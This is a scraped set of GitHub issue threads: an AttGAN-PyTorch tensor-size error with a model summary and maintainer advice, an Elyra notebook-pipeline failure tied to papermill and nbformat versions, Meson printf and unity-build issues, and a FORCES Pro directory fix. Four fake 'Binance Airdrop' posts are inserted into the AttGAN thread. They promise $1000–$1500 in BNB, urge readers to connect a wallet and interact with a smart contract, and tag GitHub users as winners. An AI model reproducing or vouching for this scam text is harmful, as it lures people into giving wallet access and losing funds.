File "/home/AttGAN/attgan.py", line 68, in decode
z = torch.cat([z, zs[len(self.dec_layers) - 2 - i]], dim=1)
RuntimeError: Sizes of tensors must match except in dimension 1. Got 8 and 9 in dimension 2 (The offending index is 1)
Could you help me solve this? THX.

Could you tell me what command you used to train it?

CUDA_VISIBLE_DEVICES=0
python train.py
--data CelebA-HQ
--img_size 128

Did you follow the instruction here (https://github.com/willylulu/celeba-hq-modified) to prepare the CelebA-HQ dataset? Since you specified --data CelebA-HQ in the training command. If you only downloaded the images and attributes of CelebA, please train with this option --data CelebA.
Did you change any code before training? The clean code should work for CelebA and CelebA-HQ. If you change the default arguments of any functions, error could happen. Please set any argument by the specifying them in the command instead of changing code.

I did not change any of your code. And I train STGAN and STARGAN on this dataset without any error. It seems like a new layer named Generator-40 is created in Pytorch-1.7.

    Layer (type)               Output Shape         Param #

================================================================
Conv2d-1            [4, 64, 64, 64]           3,072
BatchNorm2d-2            [4, 64, 64, 64]             128
LeakyReLU-3            [4, 64, 64, 64]               0
Conv2dBlock-4            [4, 64, 64, 64]               0
Conv2d-5           [4, 128, 32, 32]         131,072
BatchNorm2d-6           [4, 128, 32, 32]             256
LeakyReLU-7           [4, 128, 32, 32]               0
Conv2dBlock-8           [4, 128, 32, 32]               0
Conv2d-9           [4, 256, 16, 16]         524,288
BatchNorm2d-10           [4, 256, 16, 16]             512
LeakyReLU-11           [4, 256, 16, 16]               0
Conv2dBlock-12           [4, 256, 16, 16]               0
Conv2d-13             [4, 512, 8, 8]       2,097,152
BatchNorm2d-14             [4, 512, 8, 8]           1,024
LeakyReLU-15             [4, 512, 8, 8]               0
Conv2dBlock-16             [4, 512, 8, 8]               0
Conv2d-17            [4, 1024, 4, 4]       8,388,608
BatchNorm2d-18            [4, 1024, 4, 4]           2,048
LeakyReLU-19            [4, 1024, 4, 4]               0
Conv2dBlock-20            [4, 1024, 4, 4]               0
ConvTranspose2d-21            [4, 1024, 8, 8]      16,990,208
BatchNorm2d-22            [4, 1024, 8, 8]           2,048
ReLU-23            [4, 1024, 8, 8]               0
ConvTranspose2dBlock-24            [4, 1024, 8, 8]               0
ConvTranspose2d-25           [4, 512, 16, 16]      12,689,408
BatchNorm2d-26           [4, 512, 16, 16]           1,024
ReLU-27           [4, 512, 16, 16]               0
ConvTranspose2dBlock-28           [4, 512, 16, 16]               0
ConvTranspose2d-29           [4, 256, 32, 32]       2,097,152
BatchNorm2d-30           [4, 256, 32, 32]             512
ReLU-31           [4, 256, 32, 32]               0
ConvTranspose2dBlock-32           [4, 256, 32, 32]               0
ConvTranspose2d-33           [4, 128, 64, 64]         524,288
BatchNorm2d-34           [4, 128, 64, 64]             256
ReLU-35           [4, 128, 64, 64]               0
ConvTranspose2dBlock-36           [4, 128, 64, 64]               0
ConvTranspose2d-37           [4, 3, 128, 128]           6,147
Tanh-38           [4, 3, 128, 128]               0
ConvTranspose2dBlock-39           [4, 3, 128, 128]               0
Generator-40           [4, 3, 128, 128]               0
Total params: 43,459,203
Trainable params: 43,459,203
Non-trainable params: 0
Input size (MB): 9.75
Forward/backward pass size (MB): 188.00
Params size (MB): 165.78
Estimated Total Size (MB): 363.53

That's interesting... Would you mind giving it a try with other PyTorch version such as 1.5.0? That's the version I tested a few weeks ago.

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @thimper, @rohitjha, @Takuya-0624, @4heck, @ashishgopalhattimare, @bitcointrail, @whiteath

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @aurevae, @fkGfwNiubility, @SIMPLYBOYS, @Sunqinying, @levi0214, @zz-my-coder, @chentihe

$BNB Airdrop: Claim Your $1000 in BNB Now!
🎉 Congratulations! You've been selected to receive a portion of the $1.5k Binance Airdrop. We're thrilled to offer you $1500 in BNB. But wait, there's more—connect now, and instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!
Winners: @kangarang, @imollov, @AI-Chef, @samburgers, @darrylyeo, @xkim1994, @philippzentner

authors: GuanlinLee Pawanpatidar99 drfabiocastro elvisyjlin marisadotdev shivachaitanya1

repo: elvisyjlin/AttGAN-PyTorch


text:
Notebook pipelines are failing on KFP

Describe the issue
[Confirmed. Not pipeline specific]
load_data.ipynb
[I 18:07:22.295] 'analyze_NOAA_weather_data-0218100646':'load_data' - dependencies processed (0.067 secs)
[I 18:07:22.296] 'analyze_NOAA_weather_data-0218100646':'load_data' - executing notebook using 'papermill load_data.ipynb load_data-output.ipynb'
[D 18:07:22.994] Found kernel python3 in /usr/local/share/jupyter/kernels
[I 18:07:23.115] Input Notebook:  load_data.ipynb
[I 18:07:23.115] Output Notebook: load_data-output.ipynb
[E 18:07:23.121] Unexpected error: <class 'KeyError'>
[I 18:07:23.360] 'analyze_NOAA_weather_data-0218100646':'load_data' - converting from load_data-output.ipynb to load_data.html
Traceback (most recent call last):
  File "bootstrapper.py", line 373, in execute
    papermill.execute_notebook(notebook, notebook_output, kernel_name=kernel_name)
  File "/usr/local/lib/python3.8/site-packages/papermill/execute.py", line 90, in execute_notebook
    nb = load_notebook_node(input_path)
  File "/usr/local/lib/python3.8/site-packages/papermill/iorw.py", line 461, in load_notebook_node
    nb_upgraded = nbformat.v4.upgrade(nb)
  File "/usr/local/lib/python3.8/site-packages/nbformat/v4/convert.py", line 39, in upgrade
    _warn_if_invalid(nb, from_version)
  File "/usr/local/lib/python3.8/site-packages/nbformat/v4/convert.py", line 21, in _warn_if_invalid
    validate(nb, version=version)
  File "/usr/local/lib/python3.8/site-packages/nbformat/validator.py", line 274, in validate
    for error in iter_validate(nbdict, ref=ref, version=version,
  File "/usr/local/lib/python3.8/site-packages/nbformat/validator.py", line 298, in iter_validate
    validator = get_validator(version, version_minor, relax_add_props=relax_add_props)
  File "/usr/local/lib/python3.8/site-packages/nbformat/validator.py", line 69, in get_validator
    schema_json = _get_schema_json(v, version=version, version_minor=version_minor)
  File "/usr/local/lib/python3.8/site-packages/nbformat/validator.py", line 103, in _get_schema_json
    schema_path = os.path.join(os.path.dirname(v.__file__), v.nbformat_schema[(None, None)])
KeyError: (None, None)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/nbformat/__init__.py", line 138, in read
    buf = fp.read()
AttributeError: 'str' object has no attribute 'read'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "bootstrapper.py", line 653, in <module>
    main()
  File "bootstrapper.py", line 643, in main
    file_op.execute()
  File "bootstrapper.py", line 385, in execute
    NotebookFileOp.convert_notebook_to_html(notebook_output, notebook_html)
  File "bootstrapper.py", line 403, in convert_notebook_to_html
    nb = nbformat.read(notebook_file, as_version=4)
  File "/usr/local/lib/python3.8/site-packages/nbformat/__init__.py", line 140, in read
    with io.open(fp, encoding='utf-8') as f:
FileNotFoundError: [Errno 2] No such file or directory: 'load_data-output.ipynb'

To Reproduce
Steps to reproduce the behavior:

Clone examples repository
Open and run NOAA example pipeline on KFP (Or create a pipeline that runs a notebook, which produces output)

Deployment information
Describe what you've deployed and how:

Elyra version: 3.7/master

Confirmed - old/working:
papermill==2.1.2
nbformat==5.0.7

using this test:
import papermill
papermill.execute_notebook('debug-hello.ipynb', 'debug-hello-out.ipynb', kernel_name='python3')

Confirmed - current/broken:
papermill==2.3.4
nbformat==5.0.7 -->  required is 5.1.3

repo: elyra-ai/elyra


text:
Support configuration of printf options in Meson

Based on #159, we have a new printf implementation. This uses CMake and has a configuration header input, among a number of options. These options similarly should be exposed to Meson.
One option here is to try to find a simple way to do it in the toplevel libc build. Another option is to create a Meson equivalent. We can either use that exclusively in our fork or work on getting it merged into the eyalroz/printf repository.

Note this define will be necessary:
// Define this globally (e.g. gcc -DPRINTF_INCLUDE_CONFIG_H ...) to include the
// printf_config.h header file
#ifndef PRINTF_INCLUDE_CONFIG_H
#define PRINTF_INCLUDE_CONFIG_H 0
#endif

repo: embeddedartistry/libc


text:
Explore Unity Builds

Meson has built-in support for unity builds. To enable them, just pass --unity on on the command line or enable unity builds with the GUI. No code changes are necessary apart from the potential clash issue discussed above. Meson will automatically generate all the necessary inclusion files for you.

Closing this until someone needs the feature.

repo: embeddedartistry/meson-buildsystem


text:
Create/Keep lib_target directory

When users have a platform license, FORCES Pro would generate a lib_target directory and place the library for the target platform there. Y2F does not respect this yet.

Thanks. This was fixed with commit d6daad9b9e441dfaf7f449879b06d12541d7b62d.

authors: GianUlli adomahidi